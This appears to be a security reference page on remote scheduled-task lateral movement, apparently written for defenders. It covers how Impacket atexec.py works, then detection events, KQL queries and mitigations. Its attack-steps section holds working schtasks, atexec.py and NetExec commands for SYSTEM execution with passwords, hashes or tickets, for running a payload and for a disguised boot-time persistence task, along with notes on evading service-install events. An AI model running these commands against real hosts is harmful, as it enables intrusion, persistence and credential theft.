How it works
The Task Scheduler service accepts task registrations from other computers. An administrator can connect to a remote host, register a task that runs a command under a chosen account, start it on demand and delete it. Windows administrators do this with schtasks.exe /s; attackers use the same interface for lateral movement, because a task set to run as SYSTEM gives the same result as a remote service without touching the Service Control Manager.
The remote interface is RPC. Impacket reaches it over the atsvc named pipe on SMB, so the whole exchange can ride on TCP 445. A task registration carries an XML definition with four parts that matter here:
- The principal: the account the task runs as. SYSTEM (
S-1-5-18) needs no password. Any other account needs its password stored with the task or an existing logon session. - The action: the program and arguments to run.
- The trigger: when it runs. An attacker who only wants execution uses no meaningful trigger and starts the task by hand. An attacker who wants persistence adds a boot, logon or time trigger.
- The settings: hidden or not, run level, and whether the task deletes itself after its schedule ends.
Access is controlled by the security descriptor of the task folder (for registration) and of each task (for update and run). Microsoft documents that only members of Administrators can schedule a task on a remote computer, and that the /ru account decides what the task can do once it runs, not who may create it.
Impacket atexec.py shows the standard attacker flow. It registers a task with a random eight-letter name in the root folder, with SYSTEM as the principal, the highest run level and the hidden flag set. The action is cmd.exe /C <command> with output redirected to %windir%\Temp\<name>.tmp. It then runs the task, deletes it, reads the output file through the ADMIN$ share and deletes the file.
Prerequisites
- An account in the local Administrators group on the target. As with the other remote administration channels, a domain account in that group gets a full token over the network; local accounts other than the built-in Administrator are filtered by remote UAC.
- Network access to the Task Scheduler RPC interface of the target. Impacket uses the named-pipe transport on TCP 445.
- The Task Scheduler service running, which is the default.
- A password, an NT hash or a Kerberos ticket for the account.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Create, run and delete a task with schtasks
All paths in the command refer to the remote computer. /ru SYSTEM runs the task as the local System account, and /f overwrites a task of the same name without prompting. A one-time schedule requires a start time:
schtasks /create /s SRV01 /u CORP\alice /p <password> /tn "WindowsUpdateCheck" /tr "cmd.exe /c whoami > C:\Windows\Temp\out.txt" /sc once /st 23:59 /ru SYSTEM /f
schtasks /run /s SRV01 /u CORP\alice /p <password> /tn "WindowsUpdateCheck"
schtasks /delete /s SRV01 /u CORP\alice /p <password> /tn "WindowsUpdateCheck" /f
/u and /p are only valid with /s. Without them the command uses the identity of the current logon session, which is what an attacker holding a Kerberos ticket or a pass-the-hash session wants.
2. Do the same from Linux with Impacket
atexec.py performs the create, run, delete and read-output sequence in one command:
# Password
atexec.py corp.example.com/alice:'<password>'@192.0.2.20 whoami
# NT hash
atexec.py -hashes :<nt-hash> corp.example.com/alice@192.0.2.20 'ipconfig /all'
# Kerberos ticket from the ccache named in KRB5CCNAME
atexec.py -k -no-pass corp.example.com/alice@SRV01.corp.example.com whoami
# Run the command directly, without cmd.exe and without collecting output
atexec.py -silentcommand corp.example.com/alice:'<password>'@192.0.2.20 'C:\Windows\Temp\payload.exe'
With -session-id, the task is started in an existing logon session on the target, named by its session ID. In that mode the tool does not wrap the command in cmd.exe and returns no output.
NetExec can be told to use the same method for a command across many hosts:
nxc smb 192.0.2.0/24 -u alice -p '<password>' -x whoami --exec-method atexec
3. Leave a task behind for persistence
The same command with a recurring or event trigger survives reboots. A task that runs at every system start as SYSTEM:
schtasks /create /s SRV01 /tn "Microsoft\Windows\Maintenance\HealthCheck" /tr "C:\ProgramData\health.exe" /sc onstart /ru SYSTEM /f
Placing the task in a subfolder that looks like a Windows component, as above, is common.
Impact
The attacker executes commands as SYSTEM on the target, with the same consequences as remote service creation: credential theft from the host and movement to the next one. A task that stays registered gives persistence that outlives a password reset of the account used to create it, because a SYSTEM task needs no stored credential. A task configured to run as a domain account with a stored password also exposes that password to anyone who later gains SYSTEM on the host.
OPSEC and artifacts
- No service installation. Events 7045 and 4697 are not written. The task registration is: event 4698 in the Security log where Audit Other Object Access Events is enabled, with the creating account, its
SubjectLogonIdand the complete task XML, including the command. - Immediate deletion. Deleting the task right after it runs removes it from the Task Scheduler view but adds event 4699. A task created and deleted within seconds is itself the signature of this technique. Updates to an existing task write event 4702.
- Modifying an existing task instead of creating one avoids event 4698 and a new task name, at the cost of event 4702 and a changed definition that a baseline comparison catches.
- Task names.
atexec.pyuses eight random letters in the root folder. Operators usingschtaskspick names and folders that mimic Windows maintenance tasks. - Operational log.
Microsoft-Windows-TaskScheduler/Operationalrecords task registration (event 106), action start (event 200) and action completion with a return code (event 201). These records carry the task path but no logon ID, so the Security events are needed to attribute the creation to a network session. - Network logon. Event 4624 type 3 from the source address, and event 4672, precede the task creation.
- Files. The
atexec.pyoutput file%windir%\Temp\<8 letters>.tmpexists until the tool deletes it, and is left behind if the connection drops. With Detailed File Share auditing, event 5145 shows the read throughADMIN$and the access to theatsvcpipe onIPC$. - Process tree. The command runs under the Task Scheduler service host, not under a user shell. Event 4688 with command-line auditing shows
cmd.exe /C ... > C:\Windows\Temp\...tmp 2>&1for default Impacket use;-silentcommandremoves that pattern.
Detection
- Remote task creation. Take every event 4698 and join its
SubjectLogonIdto event 4624 on the same host. A task created from a type 3 logon was created over the network. Software distribution and backup products do this from known servers; anything else deserves review. On domain controllers the service and task installation rules alert on any new task. - Task content. Parse the XML in event 4698 for a SYSTEM principal combined with an action that starts a command processor or script host, a path under
Temp,ProgramDataor a user profile, output redirection, or the hidden flag. - Short-lived tasks. Event 4698 followed by 4699 for the same task name within a minute.
- Random root-folder task names that match no installed product.
- Privileged NTLM logons from unexpected sources, as in the Pass-the-Hash rules.
// Tasks created and deleted within one minute on the same host
let created = SecurityEvent
| where EventID == 4698
| extend TaskName = extract(@"<Data Name=""TaskName"">([^<]+)</Data>", 1, EventData)
| project CreatedAt = TimeGenerated, Computer, TaskName, Creator = SubjectUserName, SubjectLogonId;
SecurityEvent
| where EventID == 4699
| extend TaskName = extract(@"<Data Name=""TaskName"">([^<]+)</Data>", 1, EventData)
| project DeletedAt = TimeGenerated, Computer, TaskName
| join kind=inner created on Computer, TaskName
| where DeletedAt between (CreatedAt .. CreatedAt + 1m)
| project CreatedAt, DeletedAt, Computer, TaskName, Creator, SubjectLogonId
// Registration, start and completion of task actions from the operational log
WindowsEvent
| where Channel == "Microsoft-Windows-TaskScheduler/Operational" and EventID in (106, 200, 201)
| project TimeGenerated, Computer, EventID, EventData
| order by TimeGenerated asc
A registered task may never run, and a completed action can carry an error return code. Use the task path and instance identifier to separate overlapping runs before concluding what executed.
Mitigation
- Limit and tier local administrators. Remote task creation is an administrator capability, so the control is the same as for the other channels: fewer administrators per host, no shared local passwords (Windows LAPS), and no higher-tier accounts signing in to lower-tier machines.
- Restrict the network path. Allow inbound SMB and RPC to servers only from management hosts, and block workstation-to-workstation SMB.
- Review task ACLs and run identities. Check who can create tasks in each folder, who can update existing privileged tasks, and who can modify the executable or the directory that a privileged task's action points to. A SYSTEM task that runs a file from a user-writable path is a privilege escalation without any task change.
- Avoid stored passwords in tasks. Use group managed service accounts for tasks that need network access, so that no reusable password sits on the host.
- Audit. Enable Audit Other Object Access Events on servers and domain controllers so that events 4698 to 4702 are written, and enable and collect the TaskScheduler operational log. The audit policy guide lists the settings.
- Baseline tasks. Export the registered tasks of each server role and compare regularly; track legitimate registrations to change windows and software updates.
Detection rules for this attack
Log events to collect
FAQ
What rights are needed to create a scheduled task on another computer?
The account must be a member of the Administrators group on the remote computer. Microsoft's schtasks documentation states that only administrators can schedule tasks remotely, whatever account the task itself is set to run as.
Why do attackers use scheduled tasks instead of services?
A task can run as SYSTEM just like a service, but it does not write the service installation events (7045 and 4697) that most lateral movement rules watch. A task can also be given a trigger, so the same step provides persistence.
Which events record a remotely created task?
Security event 4698 records the creation with the creating account, its logon ID and the full task XML, where Audit Other Object Access Events is enabled. Events 4699 and 4702 record deletion and update. The TaskScheduler operational log records registration (106), action start (200) and action completion (201).
References
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.